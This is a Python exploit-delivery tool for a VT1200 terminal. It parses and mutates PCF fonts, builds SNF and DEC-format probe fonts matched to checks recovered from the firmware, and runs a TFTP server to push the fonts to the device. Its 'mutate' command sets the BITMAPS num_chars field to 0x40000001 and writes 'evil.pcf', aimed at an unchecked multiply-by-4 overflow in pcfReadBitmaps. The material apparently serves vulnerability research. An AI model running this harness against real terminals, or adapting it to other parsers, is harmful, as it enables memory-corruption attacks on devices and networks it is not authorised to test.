#!/usr/bin/env python3 """VT1200 font delivery harness. Two jobs: 1. **PCF fonts** — parse/modify Portable Compiled Format fonts (the format the VT1200's MIT-X11-derived font parser reads; see EXPLOIT_NOTES.md). The primitive we care about is the BITMAPS table's ``num_chars`` field, which ``pcfReadBitmaps`` multiplies by 4 without an overflow check. 2. **TFTP server** — the terminal is the TFTP *client* for its font path, so we serve the font files (and ``fonts.dir``) to it. CLI:: python3 tools/fontgen.py baseline out.pcf python3 tools/fontgen.py mutate base.pcf evil.pcf --num-chars 0x40000001 python3 tools/fontgen.py serve evil.pcf --host 0.0.0.0 --port 69 """ import argparse import os import socket import struct import subprocess import sys import tempfile import threading import time PCF_MAGIC = b"\x01fcp" # PCF_FILE_VERSION, little-endian ('p','c','f',1) PCF_VERSION = 0x70636601 FMT_MS_BYTE = 1 << 2 # fontlib.h: format bit 2 -> MSBFirst byte order # font.h table labels PROPERTIES = 1 << 0 ACCELERATORS = 1 << 1 METRICS = 1 << 2 BITMAPS = 1 << 3 INK_METRICS = 1 << 4 ENCODINGS = 1 << 5 SWIDTHS = 1 << 6 GLYPH_NAMES = 1 << 7 BDF_ENCODINGS = 1 << 8 LABELS = { PROPERTIES: "PROPERTIES", ACCELERATORS: "ACCELERATORS", METRICS: "METRICS", BITMAPS: "BITMAPS", INK_METRICS: "INK_METRICS", ENCODINGS: "ENCODINGS", SWIDTHS: "SWIDTHS", GLYPH_NAMES: "GLYPH_NAMES", BDF_ENCODINGS: "BDF_ENCODINGS", } TFTP_RRQ, TFTP_DATA, TFTP_ACK, TFTP_ERROR = 1, 3, 4, 5 # --------------------------------------------------------------------------- PCF def pcf_tables(data): """Return the table of contents as a list of dicts.""" if len(data) < 8 or data[:4] != PCF_MAGIC: raise ValueError("not a PCF file (bad magic)") n = struct.unpack_from(" len(data): raise ValueError("truncated table of contents") tables = [] for i in range(n): label, fmt, size, off = struct.unpack_from("" if (fmt & FMT_MS_BYTE) else "<" def get_num_chars(data): """The BITMAPS 'num_chars' field at table_offset + 4 (in the table's byte order).""" t = find_table(data, BITMAPS) if t is None: raise ValueError("no BITMAPS table") return struct.unpack_from(_order(t["format"]) + "I", data, t["offset"] + 4)[0] def set_num_chars(data, n): """Return *data* with the BITMAPS num_chars rewritten (bytes untouched elsewhere).""" t = find_table(data, BITMAPS) if t is None: raise ValueError("no BITMAPS table") out = bytearray(data) struct.pack_into(_order(t["format"]) + "I", out, t["offset"] + 4, n & 0xFFFFFFFF) return bytes(out) # --------------------------------------------------------------------------- BDF BDF_TEMPLATE = """STARTFONT 2.1 FONT -misc-{name}-medium-r-normal--{h}-{pt}-75-75-c-{avg}-iso8859-1 SIZE {pt} 75 75 FONTBOUNDINGBOX {w} {h} 0 -{d} STARTPROPERTIES 3 FONT_ASCENT {a} FONT_DESCENT {d} DEFAULT_CHAR 0 ENDPROPERTIES CHARS 1 STARTCHAR {char} ENCODING {enc} SWIDTH 500 0 DWIDTH {w} 0 BBX {w} {h} 0 -{d} BITMAP {bitmap} ENDCHAR ENDFONT """ def minimal_bdf(name="vt1200test", char="A", encoding=65, w=8, h=8, ascent=6, descent=2): """A tiny but valid BDF, good enough for bdftopcf. The XLFD uses PIXEL_SIZE={h}, POINT_SIZE={h*10}, AVERAGE_WIDTH={w*10} so the name bdftopcf stores is the canonical, 10x-scaled form. """ rows = ["1C", "3E", "63", "63", "7F", "63", "63", "63"][:h] rows += ["00"] * (h - len(rows)) return BDF_TEMPLATE.format(name=name, char=char, enc=encoding, w=w, h=h, a=ascent, d=descent, pt=h * 10, avg=w * 10, bitmap="\n".join(rows)) def build_baseline_pcf(out_path, font_name="vt1200test"): """Write a valid PCF font produced by bdftopcf from our generated BDF.""" with tempfile.TemporaryDirectory() as d: bpath = os.path.join(d, "f.bdf") with open(bpath, "w") as fh: fh.write(minimal_bdf(font_name)) r = subprocess.run(["bdftopcf", "-o", out_path, bpath], capture_output=True, text=True) if r.returncode != 0: raise SystemExit(f"bdftopcf failed: {r.stderr}") return out_path # --------------------------------------------------------------------------- SNF SNF_VERSION = 4 SNF_GLYPH = bytes([0x1C, 0x3E, 0x63, 0x63, 0x7F, 0x63, 0x63, 0x63]) def _xcharinfo(metrics, e="<"): return struct.pack(e + "6H", *[m & 0xFFFF for m in metrics]) def make_snf(name, char=65, w=8, h=8, ascent=6, descent=2, e="<", dec_magic=False): """Build a minimal SNF (Server Normal Font) file. Layout per snfstr.h: snfFontInfoRec, char-info array, glyphs (padded to a 32-bit boundary), snfFontPropRec array, then the property string table. SNF is CPU/framebuffer dependent, so the byte order must match the host. ``dec_magic=True`` stamps version1/version2 with DEC's own value (0x01DF5E76 = pi*1e7) instead of the MIT version 4 — the VT1200 firmware checks for DEC's value. """ version = 0x01DF5E76 if dec_magic else SNF_VERSION first_col, last_col = 0, 255 first_row, last_row = 0, 0 n2d = (last_row - first_row + 1) * (last_col - first_col + 1) glyph = SNF_GLYPH[:h] glyphs = glyph + b"\x00" * ((4 - len(glyph) % 4) % 4) metrics = (0, w, w, ascent, descent, 0) zero = (0, 0, 0, 0, 0, 0) ci = [] for code in range(first_col, last_col + 1): if code == char: word = (0 & 0xFFFFFF) | (1 << 24) # byteOffset=0, exists=1 ci.append(_xcharinfo(metrics, e) + struct.pack(e + "I", word)) else: ci.append(_xcharinfo(zero, e) + struct.pack(e + "I", 0)) charinfo = b"".join(ci) strings = name.encode("latin1") + b"\x00" nprops = 1 props = struct.pack(e + "III", 0, 0, 1) # name=0, value=0, indirect minb = _xcharinfo(zero, e) + struct.pack(e + "I", 0) maxb = _xcharinfo(metrics, e) + struct.pack(e + "I", len(glyphs)) hdr = struct.pack(e + "6I", version, 1, 0, 1, 1, 0) hdr += struct.pack(e + "I", 0x0E) # linear|constantWidth|inkInside hdr += struct.pack(e + "IIII", first_col, last_col, first_row, last_row) hdr += struct.pack(e + "III", nprops, len(strings), char) hdr += struct.pack(e + "ii", -descent, ascent) hdr += minb + maxb hdr += struct.pack(e + "III", 1, 1, version) if len(hdr) != 108: raise AssertionError(f"SNF header is {len(hdr)} bytes, expected 108") return hdr + charinfo + glyphs + props + strings def make_dec_snf(name="VT1200PROBE1", e="<", hdr=b"\x00" * 0x54, extra=b""): """Minimal DEC font container satisfying the firmware's entry checks. Recovered from the VT1200 reader (0x0ED70A-0x0ED8C0): file[0:4] == 0x01DF5E76 (pi*1e7) file[4:6] == 0x0054 file[12:14] == 0x0054 (start of the 0x54-byte header) file[44:46] == 0x0001 (header + 0x20) file[60:62] == 0x0006 (header + 0x30) """ h = bytearray(hdr) struct.pack_into(e + "H", h, 0x00, 0x54) struct.pack_into(e + "H", h, 0x20, 0x01) struct.pack_into(e + "H", h, 0x30, 0x06) return (struct.pack(e + "I", 0x01DF5E76) # file[0:4] + struct.pack(e + "H", 0x54) # file[4:6] + b"\x00" * 6 # file[6:12] + bytes(h)) + extra # --------------------------------------------------------------------------- TFTP class TFTPServer: """Minimal RFC 783 TFTP read server (octet mode), single transfer at a time.""" def __init__(self, address, files, blksize=512, timeout=2.0, retries=5, resolver=None): self.files = dict(files) self.resolver = resolver self.blksize = blksize self.timeout = timeout self.retries = retries self.log = [] self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._sock.bind(address) self._sock.settimeout(timeout) self.address = self._sock.getsockname() self._stop = threading.Event() self._thread = None def start(self): self._thread = threading.Thread(target=self._serve, daemon=True) self._thread.start() return self def stop(self): self._stop.set() try: self._sock.close() except OSError: pass if self._thread: self._thread.join(timeout=1) def _serve(self): while not self._stop.is_set(): try: data, addr = self._sock.recvfrom(4096) except socket.timeout: continue # idle: keep serving except OSError: return # socket closed -> stop if len(data) < 4 or data[:2] != TFTP_RRQ.to_bytes(2, "big"): continue name = data[2:].split(b"\x00", 1)[0].decode("latin1") self.log.append((time.time(), name, addr)) try: content = self.files.get(name) if content is None and self.resolver is not None: content = self.resolver(name) if content is None: self._send_error(addr, 1, "File not found") continue self._send_file(addr, content) except Exception as exc: # never let one transfer kill the server print(f"tftp: transfer error for {name!r}: {exc!r}", file=sys.stderr) def _send_error(self, addr, code, msg): pkt = TFTP_ERROR.to_bytes(2, "big") + code.to_bytes(2, "big") + msg.encode() + b"\x00" try: self._sock.sendto(pkt, addr) except OSError: pass def _send_file(self, addr, content): if content: blocks = [content[i:i + self.blksize] for i in range(0, len(content), self.blksize)] if len(content) % self.blksize == 0: blocks.append(b"") # short block terminates the transfer else: blocks = [b""] for idx, blk in enumerate(blocks, start=1): num = idx & 0xFFFF pkt = TFTP_DATA.to_bytes(2, "big") + num.to_bytes(2, "big") + blk for _ in range(self.retries): if self._stop.is_set(): return try: self._sock.sendto(pkt, addr) except OSError as exc: print(f"tftp: sendto {addr} failed: {exc!r}", file=sys.stderr, flush=True) return try: resp, raddr = self._sock.recvfrom(4096) except OSError: continue if raddr != addr: continue if len(resp) >= 2 and resp[:2] == TFTP_ERROR.to_bytes(2, "big"): print(f"tftp: client aborted transfer: " f"{resp[2:].decode('latin1', 'replace')!r}", file=sys.stderr, flush=True) return if (len(resp) >= 4 and resp[:2] == TFTP_ACK.to_bytes(2, "big") and int.from_bytes(resp[2:4], "big") == num): break else: return if self._stop.is_set(): return # --------------------------------------------------------------------------- CLI def main(argv=None): ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) sub = ap.add_subparsers(dest="cmd", required=True) b = sub.add_parser("baseline", help="generate a valid PCF via bdftopcf") b.add_argument("out") b.add_argument("--name", default="vt1200test") m = sub.add_parser("mutate", help="rewrite BITMAPS num_chars") m.add_argument("infile") m.add_argument("out") m.add_argument("--num-chars", type=lambda s: int(s, 0), default=0x40000001) s = sub.add_parser("serve", help="serve a font over TFTP") s.add_argument("font") s.add_argument("--host", default="0.0.0.0") s.add_argument("--port", type=int, default=69) s.add_argument("--name", default="font.DECW$FONT") s.add_argument("--fonts-dir", help="also serve this file as 'fonts.dir'") a = sub.add_parser("info", help="print a PCF's table of contents") a.add_argument("infile") n = sub.add_parser("snf", help="generate a minimal SNF font") n.add_argument("out") n.add_argument("--name", default="VT1200PROBE1") n.add_argument("--dec-magic", action="store_true", help="stamp DEC's version (pi*1e7) instead of MIT's 4") n.add_argument("--dec-layout", action="store_true", help="emit the DEC container layout the firmware checks for") args = ap.parse_args(argv) if args.cmd == "baseline": build_baseline_pcf(args.out, args.name) print(f"wrote {args.out}") elif args.cmd == "mutate": with open(args.infile, "rb") as fh: data = fh.read() was = get_num_chars(data) out = set_num_chars(data, args.num_chars) with open(args.out, "wb") as fh: fh.write(out) print(f"BITMAPS num_chars: {was} (0x{was:X}) -> {args.num_chars} (0x{args.num_chars:X})") print(f"wrote {args.out} ({len(out)} bytes)") elif args.cmd == "info": with open(args.infile, "rb") as fh: data = fh.read() for t in pcf_tables(data): name = LABELS.get(t["label"], hex(t["label"])) extra = "" if t["label"] == BITMAPS: extra = f" num_chars={get_num_chars(data)}" print(f" {name:14} fmt={t['format']:#x} size={t['size']:6} off={t['offset']:6}{extra}") elif args.cmd == "snf": data = (make_dec_snf(args.name) if args.dec_layout else make_snf(args.name, dec_magic=args.dec_magic)) with open(args.out, "wb") as fh: fh.write(data) print(f"wrote {args.out} ({len(data)} bytes), font name {args.name!r}") elif args.cmd == "serve": with open(args.font, "rb") as fh: content = fh.read() files = {args.name: content, os.path.basename(args.font): content} if args.fonts_dir: with open(args.fonts_dir, "rb") as fh: files["fonts.dir"] = fh.read() srv = TFTPServer((args.host, args.port), files).start() print(f"TFTP serving {len(files)} file(s) on {srv.address[0]}:{srv.address[1]}") print(f" names: {', '.join(sorted(files))}") try: while True: time.sleep(1) while srv.log: ts, name, addr = srv.log.pop(0) print(f" {time.strftime('%H:%M:%S', time.localtime(ts))} {addr[0]}:{addr[1]} requested {name}") except KeyboardInterrupt: pass finally: srv.stop() return 0 if __name__ == "__main__": sys.exit(main())